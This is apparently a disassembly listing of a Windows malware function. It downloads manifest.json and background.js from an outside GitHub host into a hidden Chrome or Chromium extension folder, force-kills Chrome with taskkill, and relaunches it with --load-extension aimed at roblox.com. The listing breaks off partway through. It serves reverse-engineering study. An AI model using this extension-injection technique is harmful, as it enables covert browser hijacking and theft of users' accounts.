Function at 0x1400048b0
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Get session user name

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x478]
sub rsp, 0x550
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x140050100]
xor rax, rsp
mov qword [rbp + 0x420], rax
xor r15d, r15d
call fcn.140004640
test al, al
jne 0x1400049ac
lea rdx, str.____What_browser_to_use_
lea rcx, [0x140051870]
call fcn.14000d9f0
mov rcx, rax
call fcn.14000dca0
mov rax, qword [0x140051a90]
movsxd rax, dword [rax + 4]
lea rdi, [0x140051a90]
mov rax, qword [rax + rdi + 0x40]
mov rcx, qword [rax + 8]
mov qword [rbp + 0x60], rcx
mov rax, qword [rcx]
call qword [rax + 8]
nop
lea rcx, [rbp + 0x58]
call fcn.14000d690
mov rcx, qword [rax]
mov r8, qword [rcx + 0x40]
mov dl, 0xa
mov rcx, rax
call r8
movzx ebx, al
mov rcx, qword [rbp + 0x60]
test rcx, rcx
je 0x140004980
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test rax, rax
je 0x140004980
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
movzx r8d, bl
lea rdx, [0x140050d80]
mov rcx, rdi
call fcn.140011b90
lea rdx, [0x140050d80]
lea rcx, [rsp + 0x58]
call fcn.1400093e0
mov rcx, rax
call fcn.140003a20
lea rcx, [0x140051870]
call fcn.14000dca0
call fcn.140004640
test al, al
je 0x14000640d
lea rcx, [rbp + 0x18]
call fcn.1400042f0
nop
lea rdi, [rbp + 0x18]
mov r8, qword [rbp + 0x18]
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
cmova rdi, r8
add rdi, qword [rbp + 0x28]
lea rbx, [rbp + 0x18]
cmp rdx, 0xf
cmova rbx, r8
add rbx, qword [rbp + 0x28]
lea rcx, [rbp + 0x18]
cmp rdx, 0xf
cmova rcx, r8
mov r8b, 0xa
mov rdx, rbx
call fcn.140012da0
mov r8, rax
cmp rax, rbx
je 0x140004a35
lea rcx, [rax + 1]
cmp rcx, rbx
je 0x140004a35
nop
movzx eax, byte [rcx]
cmp al, 0xa
je 0x140004a2d
mov byte [r8], al
inc r8
inc rcx
cmp rcx, rbx
jne 0x140004a20
lea rax, [rbp + 0x18]
cmp qword [rbp + 0x30], 0xf
cmova rax, qword [rbp + 0x18]
mov r9, r8
sub r9, rax
sub rdi, r8
mov rbx, qword [rbp + 0x28]
mov rax, rbx
sub rax, r9
cmp rax, rdi
cmovb rdi, rax
lea rcx, [rbp + 0x18]
cmp qword [rbp + 0x30], 0xf
cmova rcx, qword [rbp + 0x18]
add rcx, r9
sub rbx, rdi
mov r8, rbx
sub r8, r9
inc r8
lea rdx, [rcx + rdi]
call fcn.1400393b0
mov qword [rbp + 0x28], rbx
lea rdi, [rbp + 0x18]
mov r8, qword [rbp + 0x18]
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
cmova rdi, r8
add rdi, rbx
lea rax, [rbp + 0x18]
cmp rdx, 0xf
cmova rax, r8
add rbx, rax
lea rcx, [rbp + 0x18]
cmp rdx, 0xf
cmova rcx, r8
mov r8b, 0xd
mov rdx, rbx
call fcn.140012da0
mov r8, rax
cmp rax, rbx
je 0x140004aea
lea rcx, [rax + 1]
cmp rcx, rbx
je 0x140004aea
movzx eax, byte [rcx]
cmp al, 0xd
je 0x140004ae2
mov byte [r8], al
inc r8
inc rcx
cmp rcx, rbx
jne 0x140004ad5
lea rax, [rbp + 0x18]
cmp qword [rbp + 0x30], 0xf
cmova rax, qword [rbp + 0x18]
mov r9, r8
sub r9, rax
sub rdi, r8
mov rsi, qword [rbp + 0x28]
mov rax, rsi
sub rax, r9
cmp rax, rdi
cmovb rdi, rax
lea rcx, [rbp + 0x18]
cmp qword [rbp + 0x30], 0xf
cmova rcx, qword [rbp + 0x18]
add rcx, r9
sub rsi, rdi
mov r8, rsi
sub r8, r9
inc r8
lea rdx, [rcx + rdi]
call fcn.1400393b0
mov qword [rbp + 0x28], rsi
lea r14, [rbp + 0x18]
mov rbx, qword [rbp + 0x30]
cmp rbx, 0xf
cmova r14, qword [rbp + 0x18]
cmp rsi, 8
jb 0x140004ba5
lea rdi, [r14 + rsi]
lea r8, [rdi - 7]
sub r8, r14
mov edx, 0x43
mov rcx, r14
call fcn.1400392f0
test rax, rax
je 0x140004ba5
movabs r12, 0x6d75696d6f726843
nop word [rax + rax]
cmp qword [rax], r12
je 0x140004c18
inc rax
lea r8, [rdi - 7]
sub r8, rax
mov edx, 0x43
mov rcx, rax
call fcn.1400392f0
test rax, rax
jne 0x140004b80
lea rdi, [rbp + 0x18]
cmp rbx, 0xf
cmova rdi, qword [rbp + 0x18]
cmp rsi, 6
jb 0x1400063d9
lea r8, [rdi - 5]
add r8, rsi
sub r8, rdi
mov edx, 0x43
mov rcx, rdi
call fcn.1400392f0
test rax, rax
je 0x1400063d9
nop dword [rax]
cmp dword [rax], 0x6f726843
jne 0x140004bf4
cmp word [rax + 4], 0x656d
je 0x140005806
inc rax
lea r8, [rdi - 5]
add r8, rsi
sub r8, rax
mov edx, 0x43
mov rcx, rax
call fcn.1400392f0
test rax, rax
jne 0x140004be0
jmp 0x1400063d9
sub rax, r14
cmp rax, 0xffffffffffffffff
je 0x140004ba5
mov dword [rbp + 0x58], pe_nt_image_headers64
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x220]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov rbx, 0xffffffffffffffff
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0x78], xmm0
movdqu xmmword [rbp + 0x88], xmm1
test eax, eax
je 0x140004c74
lea rax, [rbp + 0x220]
mov r8, rbx
inc r8
cmp word [rax + r8*2], 0
jne 0x140004c60
lea rdx, [rbp + 0x220]
jmp 0x140004c7e
xor r8d, r8d
lea rdx, [0x140047aa8]
lea rcx, [rbp + 0x78]
call fcn.14000ead0
nop
lea rdx, [rbp + 0x78]
lea rcx, [rbp + 0x1d8]
call fcn.1400036b0
nop
mov rdx, qword [rbp + 0x90]
cmp rdx, 7
jbe 0x140004cdc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004cd7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000646b
call fcn.1400158e0
movdqa xmm6, xmmword [0x140048410]
movdqu xmmword [rbp + 0x88], xmm6
mov word [rbp + 0x78], r15w
mov r13, qword [rbp + 0x1e8]
movabs r14, 0x7fffffffffffffff
mov rax, r14
sub rax, r13
cmp rax, 9
jb 0x140006471
lea r12, [rbp + 0x1d8]
cmp qword [rbp + 0x1f0], 0xf
cmova r12, qword [rbp + 0x1d8]
xorps xmm0, xmm0
movups xmmword [rbp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x68], xmm1
lea r15, [r13 + 9]
mov edi, 0xf
lea rsi, [rbp + 0x58]
movabs rax, 0x8000000000000000
mov ecx, 0x16
cmp r15, rdi
jbe 0x140004dc3
mov rdi, r15
or rdi, 0xf
cmp rdi, r14
jbe 0x140004d8b
mov rdi, r14
add rax, 0x27
mov rcx, rax
call fcn.1400158e8
test rax, rax
je 0x140006477
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140004dbf
cmp rdi, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140004d9f
xor esi, esi
jmp 0x140004dbf
cmp rcx, 0x1000
jb 0x140004db7
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000644d
jmp 0x140004d6c
call fcn.1400158e8
mov rsi, rax
mov qword [rbp + 0x58], rsi
mov qword [rbp + 0x68], r15
mov qword [rbp + 0x70], rdi
movsd xmm0, qword [0x140047b30]
movsd qword [rsi], xmm0
movzx ecx, byte [0x140047b38]
mov byte [rsi + 8], cl
lea rcx, [rsi + 9]
mov r8, r13
mov rdx, r12
call fcn.1400393b0
mov byte [rsi + r15], 0
mov r8d, 0x3c
lea rdx, str.AppDataLocalChromiumUser_DataDefaultUnpackedExtensions
lea rcx, [rbp + 0x58]
call fcn.14000c000
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x198], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1a8], xmm1
xor r12d, r12d
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rdx, qword [rbp + 0x70]
cmp rdx, 0xf
jbe 0x140004e6d
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004e68
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000647d
call fcn.1400158e0
movdqa xmm7, xmmword [0x140048420]
movdqu xmmword [rbp + 0x68], xmm7
mov byte [rbp + 0x58], r12b
lea rdx, [rbp + 0x198]
lea rcx, [rbp + 0xb8]
call fcn.14000d7d0
nop
mov dword [rbp + 0x58], pe_nt_image_headers64
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x220]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0x78], xmm0
movdqu xmmword [rbp - 0x78], xmm1
test eax, eax
je 0x140004edb
lea rax, [rbp + 0x220]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x140004ec5
mov r8, rbx
lea rdx, [rbp + 0x220]
jmp 0x140004ee5
xor r8d, r8d
lea rdx, [0x140047aa8]
lea rcx, [rsp + 0x78]
call fcn.14000ead0
nop
lea r8, [rsp + 0x78]
lea rcx, [rbp - 8]
call fcn.14000e160
mov rbx, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0x45
jb 0x140004f46
lea rsi, [rcx + 0x45]
mov qword [rbx + 0x10], rsi
mov rdi, rbx
cmp rdx, 7
jbe 0x140004f29
mov rdi, qword [rbx]
lea rcx, [rdi + rcx*2]
mov r8d, 0x8a
lea rdx, str.AppDataLocalChromiumUser_DataDefaultUnpackedExtensionsAutoExt_
call fcn.1400393b0
mov word [rdi + rsi*2], r12w
jmp 0x140004f6c
mov qword [rsp + 0x20], 0x45
lea r9, str.AppDataLocalChromiumUser_DataDefaultUnpackedExtensionsAutoExt_
movzx r8d, byte [rsp + 0x30]
mov edx, 0x45
mov rcx, rbx
call fcn.14000e7d0
mov rbx, rax
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x118], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x128], xmm1
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 7
mov word [rbx], r12w
mov rdx, qword [rbp + 0x10]
cmp rdx, 7
jbe 0x140004fd1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004fcc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006483
call fcn.1400158e0
movdqu xmmword [rbp + 8], xmm6
mov word [rbp - 8], r12w
mov rdx, qword [rbp - 0x70]
cmp rdx, 7
jbe 0x14000501c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005017
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006489
call fcn.1400158e0
movdqu xmmword [rbp - 0x78], xmm6
mov word [rsp + 0x78], r12w
lea rcx, [rbp + 0xb8]
cmp qword [rbp + 0xd0], 0xf
cmova rcx, qword [rbp + 0xb8]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140005074
test al, 0x10
je 0x140005074
lea rdx, str.____Extension_installed_already
lea rcx, [0x140051870]
call fcn.14000d9f0
mov rcx, rax
call fcn.14000dca0
lea rcx, [0x140051870]
jmp 0x1400052af
lea rdx, str.___Installing_extension
lea rcx, [0x140051870]
call fcn.14000d9f0
mov rcx, rax
call fcn.14000dca0
lea rcx, [rbp + 0xb8]
call fcn.1400047f0
test al, al
je 0x1400052b4
lea rdx, str.____Created_folder
lea rcx, [0x140051870]
call fcn.14000d9f0
mov rcx, rax
call fcn.14000dca0
lea r8, str.manifest.json
lea rdx, [rbp + 0x118]
lea rcx, [rsp + 0x58]
call fcn.14000e2a0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x48], xmm1
mov r8d, 0x5a
lea rdx, str.https:__raw.githubusercontent.com_liablelua_FileHost_main_am_i_detected_host_manifest.json
lea rcx, [rbp + 0x38]
call fcn.14000ead0
nop
mov rdx, rbx
lea rcx, [rbp + 0x38]
call fcn.140003ec0
movzx ebx, al
mov rdx, qword [rbp + 0x50]
cmp rdx, 7
jbe 0x14000514e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005149
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000648f
call fcn.1400158e0
movdqu xmmword [rbp + 0x48], xmm6
mov word [rbp + 0x38], r12w
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x14000519a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005195
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006495
call fcn.1400158e0
test bl, bl
je 0x1400051b9
lea rdx, str.___Created_manifest
lea rcx, [0x140051870]
call fcn.14000d9f0
mov rcx, rax
call fcn.14000dca0
lea r8, str.background.js
lea rdx, [rbp + 0x118]
lea rcx, [rsp + 0x58]
call fcn.14000e2a0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x48], xmm1
mov r8d, 0x5a
lea rdx, str.https:__raw.githubusercontent.com_liablelua_FileHost_main_am_i_detected_host_background.js
lea rcx, [rbp + 0x38]
call fcn.14000ead0
nop
mov rdx, rbx
lea rcx, [rbp + 0x38]
call fcn.140003ec0
movzx ebx, al
mov rdx, qword [rbp + 0x50]
cmp rdx, 7
jbe 0x140005249
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005244
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000649b
call fcn.1400158e0
movdqu xmmword [rbp + 0x48], xmm6
mov word [rbp + 0x38], r12w
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x140005295
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005290
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400064a1
call fcn.1400158e0
test bl, bl
je 0x1400052b4
lea rdx, str.___Created_manifest
lea rcx, [0x140051870]
call fcn.14000d9f0
mov rcx, rax
call fcn.14000dca0
lea rdx, str.____Closing_all_Chromium_instances.
lea rcx, [0x140051870]
call fcn.14000d9f0
mov rcx, rax
call fcn.14000dca0
xorps xmm0, xmm0
movups xmmword [rbp + 0x158], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x168], xmm1
mov r8d, 0x25
lea rdx, str.taskkill__f__im_chrome.exe___NUL_2_1
lea rcx, [rbp + 0x158]
call fcn.14000ed50
nop
lea rcx, [rbp + 0x158]
cmp qword [rbp + 0x170], 0xf
cmova rcx, qword [rbp + 0x158]
call fcn.14001e3a0
lea rdx, str.___Opening_Chromium
lea rcx, [0x140051870]
call fcn.14000d9f0
mov rcx, rax
call fcn.14000dca0
mov r13, qword [rbp + 0xc8]
mov rax, r14
sub rax, r13
cmp rax, 0x12
jb 0x1400064a7
lea r15, [rbp + 0xb8]
cmp qword [rbp + 0xd0], 0xf
cmova r15, qword [rbp + 0xb8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
lea rsi, [r13 + 0x12]
mov ebx, 0xf
lea rdi, [rsp + 0x38]
cmp rsi, rbx
jbe 0x140005407
mov rbx, rsi
or rbx, 0xf
cmp rbx, r14
jbe 0x1400053c7
mov rbx, r14
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400158e8
test rax, rax
je 0x1400064ad
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140005402
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x1400053e2
mov rdi, r12
jmp 0x140005402
cmp rcx, 0x1000
jb 0x1400053fa
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140006453
jmp 0x1400053a8
call fcn.1400158e8
mov rdi, rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], rbx
movups xmm0, xmmword [str.__load_extension_]
movups xmmword [rdi], xmm0
movzx ecx, word [0x140047eb0]
mov word [rdi + 0x10], cx
lea rcx, [rdi + 0x12]
mov r8, r13
mov rdx, r15
call fcn.1400393b0
mov byte [rdi + rsi], 0
mov r8d, 0x1d
lea rdx, str.__https:__www.roblox.com_home
lea rcx, [rsp + 0x38]
call fcn.14000c000
xorps xmm0, xmm0
movups xmmword [rbp + 0xf8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x108], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xf8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x108], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x1400054c6
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400054c1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400064b3
call fcn.1400158e0
movdqu xmmword [rsp + 0x48], xmm7
mov byte [rsp + 0x38], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x138], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x148], xmm1
mov r8d, 0xa
lea rdx, str.chrome.exe
lea rcx, [rbp + 0x138]
call fcn.14000ead0
nop
lea rdx, [rbp + 0xf8]
cmp qword [rbp + 0x110], 0xf
cmova rdx, qword [rbp + 0xf8]
mov r8, qword [rbp + 0x108]
add r8, rdx
lea rdx, [rbp + 0xf8]
cmp qword [rbp + 0x110], 0xf
cmova rdx, qword [rbp + 0xf8]
lea rcx, [rbp + 0x98]
call fcn.14000e430
lea r9, [rbp + 0x98]
cmp qword [rbp + 0xb0], 7
cmova r9, qword [rbp + 0x98]
lea r8, [rbp + 0x138]
cmp qword [rbp + 0x150], 7
cmova r8, qword [rbp + 0x138]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r12
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdx, qword [rbp + 0xb0]
cmp rdx, 7
jbe 0x1400055d4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400055cf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400064b9
call fcn.1400158e0
movdqu xmmword [rbp + 0xa8], xmm6
mov word [rbp + 0x98], r12w
mov rdx, qword [rbp + 0x150]
cmp rdx, 7
jbe 0x14000562a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x138]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005625
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400064bf
call fcn.1400158e0
movdqu xmmword [rbp + 0x148], xmm6
mov word [rbp + 0x138], r12w
mov rdx, qword [rbp + 0x110]
cmp rdx, 0xf
jbe 0x14000567b
inc rdx
mov rcx, qword [rbp + 0xf8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005676
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400064c5
call fcn.1400158e0
movdqu xmmword [rbp + 0x108], xmm7
mov byte [rbp + 0xf8], 0
mov rdx, qword [rbp + 0x170]
cmp rdx, 0xf
jbe 0x1400056cb
inc rdx
mov rcx, qword [rbp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400056c6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400064cb
call fcn.1400158e0
movdqu xmmword [rbp + 0x168], xmm7
mov byte [rbp + 0x158], 0
mov rdx, qword [rbp + 0x130]
cmp rdx, 7
jbe 0x140005721
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000571b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400064d1
call fcn.1400158e0
nop
mov rdx, qword [rbp + 0xd0]
cmp rdx, 0xf
jbe 0x140005762
inc rdx
mov rcx, qword [rbp + 0xb8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000575d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400064d7
call fcn.1400158e0
mov qword [rbp + 0xc8], r12
mov qword [rbp + 0xd0], 0xf
mov byte [rbp + 0xb8], 0
mov rdx, qword [rbp + 0x1b0]
cmp rdx, 0xf
jbe 0x1400057bd
inc rdx
mov rcx, qword [rbp + 0x198]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400057b7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400064dd
call fcn.1400158e0
nop
mov rdx, qword [rbp + 0x1f0]
cmp rdx, 0xf
jbe 0x1400063d5
inc rdx
mov rcx, qword [rbp + 0x1d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400063d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006459
jmp 0x1400063d0
sub rax, rdi
cmp rax, 0xffffffffffffffff
je 0x1400063d9
mov dword [rbp + 0x58], pe_nt_image_headers64
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x220]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov rbx, 0xffffffffffffffff
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rsp + 0x38], xmm0
movdqu xmmword [rsp + 0x48], xmm1
test eax, eax
je 0x140005865
lea rax, [rbp + 0x220]
mov r8, rbx
inc r8
cmp word [rax + r8*2], 0
jne 0x140005851
lea rdx, [rbp + 0x220]
jmp 0x14000586f
xor r8d, r8d
lea rdx, [0x140047aa8]
lea rcx, [rsp + 0x38]
call fcn.14000ead0
nop
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x1f8]
call fcn.1400036b0
nop
mov rdx, qword [rsp + 0x50]
cmp rdx, 7
jbe 0x1400058ce
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400058c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400064e3
call fcn.1400158e0
movdqa xmm6, xmmword [0x140048410]
movdqu xmmword [rsp + 0x48], xmm6
mov word [rsp + 0x38], r15w
mov r13, qword [rbp + 0x208]
movabs r14, 0x7fffffffffffffff
mov rax, r14
sub rax, r13
cmp rax, 9
jb 0x1400064e9
lea r12, [rbp + 0x1f8]
cmp qword [rbp + 0x210], 0xf
cmova r12, qword [rbp + 0x1f8]
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x58], xmm1
lea r15, [r13 + 9]
mov edi, 0xf
lea rsi, [rbp - 0x68]
movabs rax, 0x8000000000000000
mov ecx, 0x16
cmp r15, rdi
jbe 0x1400059b4
mov rdi, r15
or rdi, 0xf
cmp rdi, r14
jbe 0x14000597c
mov rdi, r14
add rax, 0x27
mov rcx, rax
call fcn.1400158e8
test rax, rax
je 0x1400064ef
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400059b0
cmp rdi, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140005990
xor esi, esi
jmp 0x1400059b0
cmp rcx, 0x1000
jb 0x1400059a8
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000645f
jmp 0x14000595d
call fcn.1400158e8
mov rsi, rax
mov qword [rbp - 0x68], rsi
mov qword [rbp - 0x58], r15
mov qword [rbp - 0x50], rdi
movsd xmm0, qword [0x140047b30]
movsd qword [rsi], xmm0
movzx ecx, byte [0x140047b38]
mov byte [rsi + 8], cl
lea rcx, [rsi + 9]
mov r8, r13
mov rdx, r12
call fcn.1400393b0
mov byte [rsi + r15], 0
mov r8d, 0x39
lea rdx, str.AppDataLocalGoogleChromeUser_DataDefaultExtensions
lea rcx, [rbp - 0x68]
call fcn.14000c000
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x198], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1a8], xmm1
xor r12d, r12d
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x140005a5e
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005a59
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400064f5
call fcn.1400158e0
movdqa xmm7, xmmword [0x140048420]
movdqu xmmword [rbp - 0x58], xmm7
mov byte [rbp - 0x68], r12b
lea rdx, [rbp + 0x198]
lea rcx, [rbp + 0xd8]
call fcn.14000d7d0
nop
mov dword [rbp + 0x58], pe_nt_image_headers64
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x220]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
xorps xmm0, xmm0
xorps xmm1, xmm1
movups xmmword [rbp - 0x48], xmm0
movdqu xmmword [rbp - 0x38], xmm1
test eax, eax
je 0x140005acb
lea rax, [rbp + 0x220]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x140005ab5
mov r8, rbx
lea rdx, [rbp + 0x220]
jmp 0x140005ad5
xor r8d, r8d
lea rdx, [0x140047aa8]
lea rcx, [rbp - 0x48]
call fcn.14000ead0
nop
lea r8, [rbp - 0x48]
lea rcx, [rsp + 0x58]
call fcn.14000e160
mov rbx, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0x42
jb 0x140005b35
lea rsi, [rcx + 0x42]
mov qword [rbx + 0x10], rsi
mov rdi, rbx
cmp rdx, 7
jbe 0x140005b18
mov rdi, qword [rbx]
lea rcx, [rdi + rcx*2]
mov r8d, 0x84
lea rdx, str.AppDataLocalGoogleChromeUser_DataDefaultExtensionsAutoExt_
call fcn.1400393b0
mov word [rdi + rsi*2], r12w
jmp 0x140005b5b
mov qword [rsp + 0x20], 0x42
lea r9, str.AppDataLocalGoogleChromeUser_DataDefaultExtensionsAutoExt_
movzx r8d, byte [rsp + 0x30]
mov edx, 0x42
mov rcx, rbx
call fcn.14000e7d0
mov rbx, rax
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x118], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x128], xmm1
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 7
mov word [rbx], r12w
mov rdx, qword [rsp + 0x70]
cmp rdx, 7
jbe 0x140005bc2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005bbd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400064fb
call fcn.1400158e0
movdqu xmmword [rsp + 0x68], xmm6
